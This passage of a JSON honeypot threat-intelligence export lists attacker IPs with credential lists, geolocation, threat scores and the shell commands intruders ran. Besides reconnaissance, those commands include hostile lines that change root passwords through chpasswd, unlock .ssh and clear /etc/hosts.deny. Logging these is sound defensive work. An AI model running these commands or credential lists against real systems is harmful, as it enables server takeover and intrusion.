      "last_seen": "2026-03-29T21:16:07.700Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "tunnel",
        "adv",
        "bench",
        "dj",
        "iksi",
        "m1",
        "manu",
        "n",
        "pp",
        "sftpuser",
        "showroom",
        "test2",
        "test_user",
        "tsbot",
        "user1",
        "vpnbot",
        "webserver"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123",
        "123123aA",
        "12345678",
        "123ewqasdcxz",
        "123qweR",
        "142753869",
        "6yhn&UJM",
        "AA123456..",
        "Huawei!@#",
        "Kl123456.",
        "M1123!",
        "Pp123",
        "Test2123!",
        "User2025",
        "Welcome@01"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nrFszIEbq3aMM\\nrFszIEbq3aMM\\n\"|passwd",
        "echo \"123456\\nwZLyZMoskah7\\nwZLyZMoskah7\\n\"|passwd",
        "echo \"root:FVcTTAKpyyrH\"|chpasswd|bash",
        "echo \"root:s1UJav9PpbAM\"|chpasswd|bash",
        "echo -e \"123456\\nrFszIEbq3aMM\\nrFszIEbq3aMM\"|passwd|bash",
        "echo -e \"123456\\nwZLyZMoskah7\\nwZLyZMoskah7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 52.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 595,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:09:58.812000+00:00",
        "last_seen_30d": "2026-03-29T21:17:09.833000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 479,
        "Suricata": 116
      }
    },
    "27.79.40.244": {
      "attack_count": 457,
      "first_seen": "2026-03-15T06:06:03.916Z",
      "last_seen": "2026-03-15T06:45:12.793Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "monitor",
        "support",
        "ubnt",
        "user",
        "123456",
        "am",
        "anton",
        "brenda",
        "carol",
        "cisco",
        "config",
        "db2inst2",
        "demo",
        "developer",
        "ftp_zsd",
        "ftpuser",
        "guest"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "12345",
        "12345678",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "111111",
        "112233",
        "123",
        "1234",
        "?",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "abcdefg",
        "admin01",
        "admin1",
        "admin1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 648,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T06:06:03.916000+00:00",
        "last_seen_30d": "2026-03-15T06:46:14.866000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 457,
        "Suricata": 191
      }
    },
    "45.78.201.248": {
      "attack_count": 428,
      "first_seen": "2026-03-08T19:50:19.084Z",
      "last_seen": "2026-03-17T18:20:16.490Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "g",
        "gns3",
        "kobo",
        "yan",
        "apexuser",
        "ax",
        "b",
        "edward",
        "elastic",
        "java",
        "myuser",
        "pavel",
        "saad",
        "samuel",
        "simeon",
        "tsbot",
        "user02"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "12345",
        "Edward123!",
        "Saad123",
        "axpass",
        "b123!",
        "java1234",
        "kobopass",
        "password",
        "pavel123!",
        "yan123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nF3TzcbM0DHvF\\nF3TzcbM0DHvF\\n\"|passwd",
        "echo \"123456\\nQ8KcVvueqsry\\nQ8KcVvueqsry\\n\"|passwd",
        "echo \"java1234\\nS5jptzcrFSUk\\nS5jptzcrFSUk\\n\"|passwd",
        "echo \"kobopass\\nMtdOzQWAx3e0\\nMtdOzQWAx3e0\\n\"|passwd",
        "echo \"yan123!\\n7eFIJ3GDzkAh\\n7eFIJ3GDzkAh\\n\"|passwd",
        "echo -e \"123456\\nF3TzcbM0DHvF\\nF3TzcbM0DHvF\"|passwd|bash",
        "echo -e \"123456\\nQ8KcVvueqsry\\nQ8KcVvueqsry\"|passwd|bash",
        "echo -e \"java1234\\nS5jptzcrFSUk\\nS5jptzcrFSUk\"|passwd|bash",
        "echo -e \"kobopass\\nMtdOzQWAx3e0\\nMtdOzQWAx3e0\"|passwd|bash",
        "echo -e \"yan123!\\n7eFIJ3GDzkAh\\n7eFIJ3GDzkAh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 492,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T19:50:19.084000+00:00",
        "last_seen_30d": "2026-03-17T18:21:17.663000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 428,
        "Suricata": 64
      }
    },
    "49.247.175.3": {
      "attack_count": 406,
      "first_seen": "2026-03-04T03:21:52.708Z",
      "last_seen": "2026-03-12T18:59:02.495Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "arthur",
        "claude",
        "yasin",
        "docker",
        "maks",
        "mobiquity",
        "pepe",
        "runner",
        "ubuntu",
        "viewtinet",
        "vncuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "Bingo@1993",
        "Password",
        "Password2023!",
        "Qaz@2024",
        "Qwer1234!@",
        "Vncuser123!",
        "a741852963",
        "aaa111",
        "apple@123",
        "asd123456",
        "cz123456",
        "docker1234",
        "maks123!",
        "pass123",
        "password",
        "pepe123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nq28udw93n6ew\\nq28udw93n6ew\\n\"|passwd",
        "echo \"root:Etwsy5xShLEs\"|chpasswd|bash",
        "echo \"root:HKHAjofPhCHF\"|chpasswd|bash",
        "echo \"root:W9PG90Zx5j09\"|chpasswd|bash",
        "echo -e \"password\\nq28udw93n6ew\\nq28udw93n6ew\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 482,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T03:21:52.708000+00:00",
        "last_seen_30d": "2026-03-12T19:00:06.128000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 406,
        "Suricata": 76
      }
    },
    "171.231.196.95": {
      "attack_count": 402,
      "first_seen": "2026-03-23T12:47:20.514Z",
      "last_seen": "2026-03-23T13:25:45.929Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "developer",
        "test",
        "*****",
        "1234",
        "123456",
        "admian",
        "anton",
        "ashish",
        "auto",
        "brenda",
        "btf",
        "carol",
        "config",
        "demo",
        "ftp",
        "ftpuser",
        "guest1"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "admin",
        "*****",
        "1",
        "1111",
        "321start",
        "Deadstar!",
        "abc123",
        "abcd1234",
        "admin01",
        "admin1",
        "admin123",
        "aerohive",
        "andrew",
        "anton",
        "ashish",
        "asteriskftp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 573,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T12:47:20.514000+00:00",
        "last_seen_30d": "2026-03-23T13:26:49.285000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 402,
        "Suricata": 171
      }
    },
    "194.156.248.188": {
      "attack_count": 393,
      "first_seen": "2026-03-04T09:07:43.831Z",
      "last_seen": "2026-03-08T23:37:23.164Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cockpit",
        "dolphinscheduler",
        "wei",
        "andong",
        "bot",
        "mamad",
        "mobile",
        "vas",
        "webapps"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "password",
        "111222",
        "123",
        "1234",
        "123456789.",
        "1q2w3e4r5t!@#",
        "Abcd1234!@#$",
        "Qq@123123",
        "a123.",
        "aa111222",
        "abc#123",
        "dolphinscheduler123!",
        "iVPSer.com",
        "kedacom",
        "mamad",
        "mobile123",
        "potato"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nM1i0KpdHHL6c\\nM1i0KpdHHL6c\\n\"|passwd",
        "echo \"12345678\\nRHivuu2C6hh1\\nRHivuu2C6hh1\\n\"|passwd",
        "echo \"dolphinscheduler123!\\nomlrfYW0H6mS\\nomlrfYW0H6mS\\n\"|passwd",
        "echo \"root:LWwSl0Em3HgR\"|chpasswd|bash",
        "echo -e \"12345678\\nM1i0KpdHHL6c\\nM1i0KpdHHL6c\"|passwd|bash",
        "echo -e \"12345678\\nRHivuu2C6hh1\\nRHivuu2C6hh1\"|passwd|bash",
        "echo -e \"dolphinscheduler123!\\nomlrfYW0H6mS\\nomlrfYW0H6mS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 200333,
      "as_org": "Scientific-Production Enterprise Information Technologies Ltd",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 461,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:07:43.831000+00:00",
        "last_seen_30d": "2026-03-08T23:38:23.666000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 393,
        "Suricata": 68
      }
    },
    "27.79.7.41": {
      "attack_count": 387,
      "first_seen": "2026-03-18T15:50:15.814Z",
      "last_seen": "2026-03-18T16:17:09.644Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "cisco",
        "support",
        "ubnt",
        "ace",
        "admian",
        "am",
        "anton",
        "auto",
        "backup",
        "bin",
        "brenda",
        "btf",
        "db2inst2",
        "dubai",
        "geral",
        "installer",
        "jay"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "12345",
        "P@ssw0rd",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "112233",
        "123456",
        "1234567890%*()",
        "321start",
        "91482d",
        "@",
        "Deadstar!",
        "abcd1234",
        "abcdefg",
        "ace",
        "admin1",
        "administrator",
        "aerohive"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 556,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T15:50:15.814000+00:00",
        "last_seen_30d": "2026-03-18T16:18:12.265000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 387,
        "Suricata": 169
      }
    },
    "35.200.237.19": {
      "attack_count": 365,
      "first_seen": "2026-03-05T00:52:03.764Z",
      "last_seen": "2026-03-21T00:00:38.271Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "b",
        "alex",
        "astra",
        "cardano",
        "controlm",
        "csserver",
        "erpnext",
        "informatica",
        "kafka",
        "karan",
        "mama",
        "md",
        "nikhil",
        "paid",
        "patrick",
        "sftp-user",
        "silva",
        "srs"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "12345678",
        "1234",
        "123@@",
        "123qwe!@#",
        "1qaz2WSX@",
        "AAA123456",
        "Astra123",
        "Bingo@1993",
        "Hello@1234",
        "Kafka123",
        "P@$$w0rd2024",
        "P@ssw0rd.2024",
        "Passw0rt12@",
        "Patrick123",
        "Sftp-User123!",
        "Ubuntu2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\n8zc7dGtWOcQf\\n8zc7dGtWOcQf\\n\"|passwd",
        "echo \"root:7ymJ7UMQruHU\"|chpasswd|bash",
        "echo \"root:8UrYFijxb44e\"|chpasswd|bash",
        "echo -e \"12345\\n8zc7dGtWOcQf\\n8zc7dGtWOcQf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 455,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:52:03.764000+00:00",
        "last_seen_30d": "2026-03-21T00:01:42.139000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 365,
        "Suricata": 90
      }
    },
    "43.133.148.170": {
      "attack_count": 359,
      "first_seen": "2026-03-03T10:31:42.283Z",
      "last_seen": "2026-03-29T05:25:00.100Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#qlalf#wiseit#qjsgh#",
        "12340",
        "1234@qwe",
        "1w3r5y7i9p",
        "8989",
        "ABCDEF",
        "Abc1234$",
        "Abcd.1234",
        "Admin!2025",
        "Amadeus2025",
        "Bingo@1993",
        "Digital@2021",
        "Linux1",
        "Microsoft123",
        "P@ss2025",
        "Server12#$",
        "a123456A",
        "aliali"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:WtZ34JjxIsFC\"|chpasswd|bash",
        "echo \"root:hSbTKeBzBJeA\"|chpasswd|bash",
        "echo \"root:lnujp8suw2FR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 57.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 449,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:31:42.283000+00:00",
        "last_seen_30d": "2026-03-29T05:26:03.355000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 359,
        "Suricata": 90
      }
    },
    "98.70.56.197": {
      "attack_count": 331,
      "first_seen": "2026-03-11T10:06:08.246Z",
      "last_seen": "2026-03-11T10:29:29.876Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jino",
        "n8n",
        "pilot",
        "shadow",
        "angelica",
        "appserver",
        "monitoring",
        "prova",
        "root",
        "tania",
        "vncuser"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Root@12345678",
        "appserver1234",
        "jinopass",
        "n8n",
        "prova123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nFMfioGaRXYf4\\nFMfioGaRXYf4\\n\"|passwd",
        "echo \"12345678\\nqqxBT21Hbi73\\nqqxBT21Hbi73\\n\"|passwd",
        "echo \"jinopass\\nJUirFmj5JPqr\\nJUirFmj5JPqr\\n\"|passwd",
        "echo \"n8n\\ne1ZjT1A04XO0\\ne1ZjT1A04XO0\\n\"|passwd",
        "echo -e \"12345678\\nFMfioGaRXYf4\\nFMfioGaRXYf4\"|passwd|bash",
        "echo -e \"12345678\\nqqxBT21Hbi73\\nqqxBT21Hbi73\"|passwd|bash",
        "echo -e \"jinopass\\nJUirFmj5JPqr\\nJUirFmj5JPqr\"|passwd|bash",
        "echo -e \"n8n\\ne1ZjT1A04XO0\\ne1ZjT1A04XO0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:06:08.246000+00:00",
        "last_seen_30d": "2026-03-11T10:30:31.900000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 42
      }
    },
    "143.110.171.119": {
      "attack_count": 308,
      "first_seen": "2026-03-07T15:08:19.767Z",
      "last_seen": "2026-03-07T16:19:54.586Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "1234567",
        "12345678",
        "123456789",
        "1234abcd",
        "123abc",
        "123qwe",
        "1q2w3e",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "P@ssw0rd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 441,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T15:08:19.767000+00:00",
        "last_seen_30d": "2026-03-07T16:21:04.080000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 308,
        "Suricata": 133
      }
    },
    "51.75.141.245": {
      "attack_count": 261,
      "first_seen": "2026-03-11T13:23:57.767Z",
      "last_seen": "2026-03-11T13:44:16.842Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "n8n",
        "root",
        "smbuser",
        "angel",
        "eadmin",
        "es_user",
        "guest",
        "prova",
        "sftp-user",
        "sistemas",
        "ww"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "Es_user123",
        "P@ssw0rd01",
        "Sistemas123",
        "angelpass",
        "n8n",
        "provapass",
        "sftp-user123!",
        "smbuser1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
